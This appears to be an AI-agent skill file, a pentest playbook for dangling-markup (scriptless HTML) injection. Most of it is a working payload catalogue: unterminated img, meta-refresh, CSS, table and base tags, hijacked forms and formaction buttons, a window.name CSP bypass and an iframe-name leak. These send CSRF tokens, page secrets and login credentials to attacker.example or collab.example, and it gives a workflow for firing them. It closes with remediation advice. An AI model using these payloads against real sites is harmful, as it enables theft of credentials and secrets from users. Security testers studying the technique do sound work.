name: exploiting-dangling-markup-injection description: Exploiting dangling markup / scriptless HTML injection to exfiltrate clear-text secrets, steal form data, subvert application flow, and bypass CSP when full XSS is not possible. Covers unterminated img/meta/table/link/base tags, CSS @import, form/input/textarea/option hijacking, base-tag + window.name CSP evasion, and dangling-iframe leaks. Activates when HTML injection is found but JavaScript execution is blocked or filtered. domain: cybersecurity subdomain: web-application-security tags:
- penetration-testing
- dangling-markup
- html-injection
- owasp
- web-security version: '1.0' author: xalgorix license: Apache-2.0
Exploiting Dangling Markup Injection
When to Use
- During authorized assessments where you can inject HTML tags but cannot execute JavaScript (XSS blocked/filtered)
- When a CSP prevents script execution but still allows markup, CSS, meta tags, forms, or base tags
- When a secret (token, PII, CSRF value) is rendered in clear text in the HTML near your injection point
- When you can inject into a page that contains a form whose action/fields you want to subvert
- When you want to mislead client-side script flow by overriding element IDs/names or JS globals
Prerequisites
- Authorization: Engagement scope covering client-side injection and data exfiltration
- An HTML injection point: A reflected/stored sink that renders raw tags (even if JS is filtered)
- Collaborator/OOB server: Burp Collaborator or your own endpoint to receive exfiltrated content
- CSP awareness: Read the target's CSP to choose a vector it does not block (img vs meta vs CSS vs base)
- dangling_markup wordlist: carlospolop/Auto_Wordlists
dangling_markup.txtfor vector fuzzing
Critical: Variants Most Often Missed
The core idea: inject an UNTERMINATED attribute/tag so the browser swallows all subsequent HTML (including the secret) up to the next matching quote, and sends it to your server. Pick a vector your CSP allows.
<!-- 1. Unterminated img src: leaks everything up to the next single quote -->
<img src='http://attacker.example/log?html=
<!-- 2. meta refresh (when img is CSP-blocked); try ftp:// since Chrome blocks http with < or \n -->
<meta http-equiv="refresh" content='0; url=http://attacker.example/log?text=
<meta http-equiv="refresh" content='0;URL=ftp://attacker.example?a=
<!-- 3. CSS @import: sends everything until a ';' -->
<style>@import//attacker.example?
<!-- 4. table background: leaks until the quote closes -->
<table background='//attacker.example?
<!-- 5. base target / base href: redirect forms/links to attacker (needs user click for some) -->
<base target=' <!-- captures HTML until next quote -->
<base href="http://attacker.example/"> <!-- relative form actions now post to attacker -->
<!-- 6. Steal forms: inject a new form header overriding the next form's action -->
<form action='http://attacker.example/steal'>
<!-- 7. button formaction overrides the form's submit target -->
<button name="x" type="submit" formaction="https://attacker.example/steal">click</button>
<!-- 8. Steal clear-text secrets via a new input that swallows text up to next double quote -->
<input type='hidden' name='review_body' value="
<!-- 9. option tag: data captured until </option> -->
<form action=http://attacker.example><input type="submit"><select name=x><option
<!-- 10. noscript form (when JS disabled) covers the page with a giant submit button -->
<noscript><form action=http://attacker.example><input type=submit style="position:absolute;left:0;top:0;width:100%;height:100%;" value=""><textarea name=contents></noscript>
CSP bypass with base + window.name (requires one click):
<!-- Injected into the victim (same-origin) page: -->
<a href=http://attacker.example/payload.html><font size=100 color=red>You must click me</font></a>
<base target='
<!-- 'target' captures HTML until the next single quote; that HTML becomes window.name -->
<!-- attacker.example/payload.html reads the leaked window.name: -->
<script>
if (window.name)
new Image().src='//attacker.example/?'+encodeURIComponent(window.name);
</script>
Dangling-iframe leak (read sensitive data placed into an iframe name):
<script>
function cspBypass(win){ win[0].location="about:blank"; setTimeout(()=>alert(win[0].name),500); }
</script>
<iframe src="//victim.example/target.php?email=%22><iframe name=%27"
onload="cspBypass(this.contentWindow)"></iframe>
How to CONFIRM a hit (avoid false negatives)
- Exfil fired with secret: your OOB server receives a request whose query/body contains the HTML chunk between the injection point and the terminating quote — and that chunk contains the target secret (CSRF token, PII). That is a confirmed leak, not just a callback.
- Form hijack: submitting the page sends form fields to YOUR endpoint (check your server logs for the field values), proving the action override worked.
- base/window.name: after the victim clicks, your payload page receives
window.namecontaining the leaked same-origin HTML. - Flow subversion: the injected hidden input/ID override changes the app's behavior (e.g., share-with target becomes attacker), verifiable in the resulting request.
- Watch for browser quirks: Chrome blocks
http:URLs containing<or newline, so preferftp://or other schemes; verify the vector against the target's actual CSP rather than assuming.
Workflow
Step 1: Confirm HTML Injection Without JS
Inject a benign marker tag (e.g., <b>x</b> or <img src=//collab>) and verify it renders as markup. Confirm script execution is actually blocked (CSP or filtering) so dangling markup is the right approach.
Step 2: Locate the Secret Relative to the Injection
Identify what sensitive content (CSRF token, email, API key) appears AFTER your injection point in the HTML — that is what an unterminated tag will capture.
Step 3: Choose a CSP-Compatible Vector
img-src blocks images? -> use <meta http-equiv=refresh> or CSS @import or <table background>
http blocked with < or \n? -> use ftp:// scheme
need form data? -> inject <form action=...> / <button formaction> / new <input>
strict CSP, allow click? -> base target + window.name technique
Step 4: Fire the Exfiltration
<!-- Example: leak everything up to next quote into your server -->
<img src='https://collab.example/log?html=
Watch your collaborator/OOB logs for the captured chunk.
Step 5: Steal Forms & Subvert Flow
<!-- Override the next form's action -->
<form action='https://attacker.example/steal'>
<!-- Or inject a field/value that changes app behavior -->
<input type="hidden" name="invite_user" value="attacker" />
<input type="hidden" id="share_with" value="attacker" />
Step 6: CSP Bypass via base + window.name
Deliver the click-bait link with the trailing <base target=' so the same-origin HTML (including secrets) is stored into window.name; read it from your payload page after the click.
Key Concepts
| Concept | Description |
|---|---|
| Dangling Markup | Unterminated tag/attribute that swallows following HTML up to the next quote/terminator |
| Scriptless Exfiltration | Leaking data without JS using img/meta/CSS/table/base requests |
| Form Hijacking | Injecting a form header/formaction/field to redirect or subvert submitted data |
| base Tag Abuse | <base href> redirects relative form/link targets; <base target> captures HTML |
| window.name CSP Bypass | base target stores same-origin HTML into window.name, read by an attacker page after a click |
| Dangling Iframe | Forcing sensitive data into an iframe's name, then reading it cross-context |
| noscript Form | Full-page submit overlay that works when JavaScript is disabled |
Tools & Systems
| Tool | Purpose |
|---|---|
| Burp Collaborator / OOB server | Receive exfiltrated HTML chunks and form submissions |
| Auto_Wordlists/dangling_markup.txt | Fuzz dangling-markup vectors against an injection point |
| HTTPLeaks (cure53) | Catalog of HTML elements that force outbound connections |
| Browser devtools | Inspect how the parser consumes the unterminated tag and what gets captured |
| CSP evaluators | Determine which vectors (img/meta/CSS/base) the target policy permits |
Common Scenarios
Scenario 1: CSRF Token Exfiltration
HTML injection lands just before a hidden CSRF token field. Injecting <img src='//collab?html= captures the markup up to the next quote — including the token — and sends it to the attacker, enabling CSRF.
Scenario 2: Password Form Theft Under CSP
A page with a strict CSP forbids scripts. Injecting <form action='//attacker/steal'> before the login form makes the browser submit the credentials to the attacker when the user logs in (as in the Mastodon CSP-bypass research).
Scenario 3: base + window.name CSP Evasion
In a CSP-locked same-origin page, a click-bait link plus trailing <base target=' stores the page's secret HTML into window.name; the attacker's clicked page reads window.name and exfiltrates it.
Output Format
## Dangling Markup Injection Finding
**Vulnerability**: Scriptless HTML Injection / Dangling Markup (data exfiltration under CSP)
**Severity**: High (CVSS 7.4)
**Location**: GET /review?comment= (reflected HTML injection)
**OWASP Category**: A03:2021 - Injection
### Reproduction Steps
1. Confirm <b>x</b> renders and that CSP blocks script execution
2. Inject: <img src='https://collab.example/log?html=
3. Browser sends all HTML up to the next single quote to the collaborator
4. Captured chunk contains the CSRF token rendered after the injection point
### Evidence
| Vector | Result |
|--------|--------|
| <img src='...?html= | OOB request received |
| Captured content | includes name="csrf" value="<leaked>" |
| CSP | script-src blocked; img-src permitted |
### Impact
Clear-text secret exfiltration and form theft without JavaScript, bypassing the
CSP and enabling CSRF / credential capture.
### Recommendation
1. Context-aware output encoding for all reflected/stored HTML; do not allow raw tags
2. Use an allowlist HTML sanitizer (e.g., DOMPurify) that strips dangling/unterminated markup
3. Tighten CSP: restrict img-src, style-src, form-action, and base-uri to 'self'
4. Set base-uri 'none' or 'self' and form-action 'self' to neutralize base/form hijacking
5. Avoid rendering secrets (tokens, PII) inline in HTML near user-controlled content